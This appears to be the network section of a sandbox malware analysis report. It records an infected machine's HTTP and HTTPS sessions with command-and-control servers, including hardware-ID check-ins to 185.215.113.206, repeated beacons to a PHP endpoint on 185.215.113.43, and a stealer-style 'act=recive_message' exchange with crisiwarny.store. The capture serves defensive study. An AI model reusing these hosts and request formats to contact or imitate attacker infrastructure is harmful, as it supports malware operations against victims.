Oct 26, 2024 08:56:17.262442112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	50197	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:17.305073977 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:56:18.222810030 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:56:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:56:18.225295067 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build"puma------HJJJECFIECBGDGCAAAEH--
Oct 26, 2024 08:56:18.509741068 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:56:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	50198	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:18.787277937 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:19.723192930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	50200	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:21.365430117 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:22.273118973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	50201	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:23.804250002 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:24.730338097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	50202	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:26.355214119 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:27.284051895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	50203	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:28.807513952 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:29.721272945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	50204	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:31.347357035 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:32.258508921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	50205	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:33.775840998 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:34.725769997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	50206	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:36.351670980 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:37.286674023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	50208	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:38.806242943 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:39.723887920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	50209	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:41.360070944 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:42.292737961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	50210	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:43.814626932 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:44.725250006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	50211	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:46.349503994 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:47.246397972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:44 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 06:52:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 06:52:45 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=06dik2otmi7g00pm9mhbqm93pu; expires=Wed, 19 Feb 2025 00:39:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cjZCqDrCI3tFmbLLEEOvehk5BtVx%2B1uqPAfTMfSK6wbS5KVV4OppZQScMZcpsSARSCO2%2Bg4MLT3gb231nWswLZwYir8Gyc1qVCKFQI%2F3j8P7waWgb%2FuisTTkoFd3a7Qq2Vfr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88867cefe893be-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123341&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=23564&cwnd=32&unsent_bytes=0&cid=ecd33ae52c8dbdbd&ts=471&x=0"
2024-10-26 06:52:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 06:52:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:46 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 06:52:46 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 06:52:46 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ndbusmshobpi9dokhq259q732n; expires=Wed, 19 Feb 2025 00:39:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rgay5fwUiNpyc2qIs5Yr4N7t3FSX7KOCI33WvLV7T2AtdC4mmOMqfR3SGu8JYOTx9cud36o%2ByL%2BbPkSpbzIrmdhbxTVg8Zr7plSKD9BNCeSlMjDUdh7YVAMNARRshSy%2FJFr1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8886865ee4d595-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123377&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=952&delivery_rate=23469&cwnd=32&unsent_bytes=0&cid=95fe58848c2585a3&ts=605&x=0"
2024-10-26 06:52:46 UTC	363	IN	Data Raw: 34 34 36 63 0d 0a 6b 51 39 56 73 57 76 74 31 59 68 78 44 70 6a 53 33 71 2b 44 6a 57 76 54 67 62 41 6c 79 64 57 65 55 51 51 72 49 56 61 58 69 4a 50 71 4c 53 4f 54 55 64 6e 35 71 67 4a 72 75 75 69 71 33 66 62 6f 52 2f 48 67 31 41 66 7a 73 2f 38 39 64 30 34 4e 64 4f 48 6c 73 61 74 70 4e 4e 30 59 69 50 6d 71 46 48 61 36 36 49 58 55 6f 65 67 46 38 62 75 53 51 4b 4f 33 2f 7a 31 6d 53 6b 6f 35 35 2b 54 77 2b 57 4d 79 32 51 36 4f 73 65 6b 64 59 2f 32 33 75 38 37 70 34 77 4b 2b 36 64 30 48 35 66 66 37 4b 79 59 52 41 78 76 79 2f 50 4c 63 62 69 62 61 53 5a 44 35 38 31 4e 72 39 76 44 6b 6a 65 4c 6f 43 62 2f 6e 31 45 36 68 76 66 59 31 5a 30 39 4c 4a 76 37 75 2b 2f 6c 74 4d 64 67 45 68 36 58 6b 46 32 54 32 73 62 48 4f 6f 61 46 4a 74 76 75 53 48 2b 76 6b 7a 6a 42 33 57 Data Ascii: 446ckQ9VsWvt1YhxDpjS3q+DjWvTgbAlydWeUQQrIVaXiJPqLSOTUdn5qgJruuiq3fboR/Hg1Afzs/89d04NdOHlsatpNN0YiPmqFHa66IXUoegF8buSQKO3/z1mSko55+Tw+WMy2Q6OsekdY/23u87p4wK+6d0H5ff7KyYRAxvy/PLcbibaSZD581Nr9vDkjeLoCb/n1E6hvfY1Z09LJv7u+/ltMdgEh6XkF2T2sbHOoaFJtvuSH+vkzjB3W
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 61 37 47 36 4f 49 45 73 65 37 59 53 4b 69 33 2b 7a 6c 73 52 6b 6b 77 2b 4f 66 33 38 32 31 33 6e 55 6d 49 72 36 70 4c 4c 4e 6d 31 72 4d 72 74 2b 55 75 4c 6f 38 30 4a 73 76 66 37 50 79 59 52 41 7a 7a 77 36 66 4c 34 59 6a 54 62 41 70 32 33 2b 42 56 68 2f 36 4b 36 79 4f 2f 6c 43 71 50 70 33 45 47 6f 76 76 63 36 59 30 35 48 64 4c 75 71 39 75 73 74 62 35 4d 6f 67 72 7a 6d 47 58 76 36 38 4b 4f 44 2b 4b 38 4f 76 61 4f 4b 42 36 2b 32 2b 44 4a 69 52 30 30 77 2b 65 7a 2f 2f 6d 49 78 32 51 6d 49 76 65 49 62 62 66 65 37 73 38 33 6b 34 67 32 33 37 39 4e 43 36 2f 6d 38 4e 48 34 4a 47 33 54 62 37 66 4c 68 4c 77 4c 51 42 34 47 77 2f 46 4e 7a 74 4b 6e 38 79 75 32 76 55 66 48 74 31 30 69 35 74 75 34 32 61 46 74 50 4d 66 50 6e 38 76 31 74 4d 74 51 45 67 62 48 74 45 47 54 2b Data Ascii: a7G6OIEse7YSKi3+zlsRkkw+Of38213nUmIr6pLLNm1rMrt+UuLo80Jsvf7PyYRAzzw6fL4YjTbAp23+BVh/6K6yO/lCqPp3EGovvc6Y05HdLuq9ustb5MogrzmGXv68KOD+K8OvaOKB6+2+DJiR00w+ez//mIx2QmIveIbbfe7s83k4g2379NC6/m8NH4JG3Tb7fLhLwLQB4Gw/FNztKn8yu2vUfHt10i5tu42aFtPMfPn8v1tMtQEgbHtEGT+
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 32 76 55 66 48 76 32 30 65 67 76 66 67 7a 59 55 52 47 4e 2f 4c 70 2f 50 52 6e 4f 64 51 4e 67 37 37 6e 46 57 7a 39 74 4c 6e 66 35 4f 59 46 76 61 4f 63 42 36 79 76 76 47 73 6d 5a 6b 51 69 39 73 58 79 34 6d 52 33 7a 45 65 57 39 2b 30 66 4c 4b 4c 77 75 38 6a 70 35 41 2b 35 34 38 42 43 70 62 7a 39 4f 57 42 49 54 6a 6a 7a 36 76 44 7a 61 7a 76 54 44 6f 69 6c 2b 42 5a 71 36 4c 72 38 67 36 48 6f 45 66 47 37 6b 6e 47 37 6f 4f 30 6c 4a 48 78 41 4f 76 76 74 35 37 4e 79 65 63 70 4a 69 4c 75 71 53 79 7a 78 73 4c 44 4b 36 65 6b 4e 75 65 7a 64 54 72 6d 32 38 44 31 30 54 6b 4d 39 2b 2b 58 39 2b 6d 41 77 33 67 4b 46 75 75 34 55 62 62 72 2b 2f 4d 72 35 72 31 48 78 31 63 4a 4b 70 35 6e 33 50 32 38 4a 58 48 72 73 71 76 62 2f 4c 57 2b 54 44 59 4f 2f 34 42 78 6c 38 4c 71 7a 78 Data Ascii: 2vUfHv20egvfgzYURGN/Lp/PRnOdQNg77nFWz9tLnf5OYFvaOcB6yvvGsmZkQi9sXy4mR3zEeW9+0fLKLwu8jp5A+548BCpbz9OWBITjjz6vDzazvTDoil+BZq6Lr8g6HoEfG7knG7oO0lJHxAOvvt57NyecpJiLuqSyzxsLDK6ekNuezdTrm28D10TkM9++X9+mAw3gKFuu4Ubbr+/Mr5r1Hx1cJKp5n3P28JXHrsqvb/LW+TDYO/4Bxl8Lqzx
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 78 72 5a 4a 41 73 2f 65 6b 63 30 6c 75 64 6e 62 55 30 4c 48 73 49 79 36 54 44 6f 50 33 73 6c 4e 67 2b 62 79 30 77 75 66 6d 42 62 76 71 32 55 75 67 73 2f 41 36 59 30 39 43 4d 66 44 72 39 66 39 6e 4d 64 41 4b 67 4c 6a 6c 47 79 79 30 38 4c 76 56 6f 62 64 4a 6c 50 54 5a 53 61 33 33 34 33 31 2f 43 55 51 34 74 62 4b 78 2f 32 51 78 31 51 79 44 74 75 77 62 61 66 4b 30 76 63 76 6e 37 41 61 31 35 74 4e 49 72 37 76 79 4f 57 64 49 54 7a 2f 36 34 66 53 7a 49 33 66 55 45 63 2f 76 71 69 4a 76 37 4b 65 73 77 61 48 77 52 36 69 6a 31 55 76 72 37 37 77 79 64 45 4e 4a 4f 76 44 6c 39 50 42 69 4d 4e 34 50 67 37 33 6a 47 32 72 31 75 61 37 4f 37 65 45 4f 76 2b 2f 63 53 71 47 30 38 58 4d 6f 43 55 51 73 74 62 4b 78 33 32 6f 36 2f 51 4b 44 73 4b 6f 4d 49 75 50 77 75 38 47 68 74 30 Data Ascii: xrZJAs/ekc0ludnbU0LHsIy6TDoP3slNg+by0wufmBbvq2Uugs/A6Y09CMfDr9f9nMdAKgLjlGyy08LvVobdJlPTZSa33431/CUQ4tbKx/2Qx1QyDtuwbafK0vcvn7Aa15tNIr7vyOWdITz/64fSzI3fUEc/vqiJv7KeswaHwR6ij1Uvr77wydENJOvDl9PBiMN4Pg73jG2r1ua7O7eEOv+/cSqG08XMoCUQstbKx32o6/QKDsKoMIuPwu8Ght0
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 51 4c 75 6e 2f 33 46 58 58 30 41 69 2f 75 66 39 73 33 4a 35 79 6b 6d 49 75 36 70 4c 4c 50 79 2f 74 63 37 75 37 67 43 39 37 74 64 4f 72 72 62 36 4e 32 78 44 51 7a 4c 7a 36 2f 54 35 62 6a 62 5a 41 49 69 2f 37 52 42 2b 75 76 37 38 79 76 6d 76 55 66 48 4b 31 56 57 6c 70 37 77 73 4b 46 41 44 4d 2f 6d 71 71 62 4e 70 50 64 77 4e 69 4c 76 73 46 6d 72 33 73 62 50 4d 34 65 41 4e 75 75 72 55 52 71 61 79 38 54 64 30 51 30 67 37 2b 65 50 39 2f 69 31 35 6b 77 36 58 39 37 4a 54 58 66 65 2b 73 73 72 33 72 78 62 2f 2b 70 4a 41 70 2f 65 6b 63 32 64 46 54 44 66 36 36 66 4c 79 5a 79 58 42 42 59 61 2f 37 78 39 6e 39 4c 61 75 79 2b 37 6d 43 72 4c 71 31 55 2b 6e 76 66 38 30 4a 67 63 44 4d 2b 32 71 71 62 4e 4f 49 4d 4d 45 7a 36 69 6b 43 69 7a 39 76 50 79 56 6f 65 63 45 75 65 6e Data Ascii: 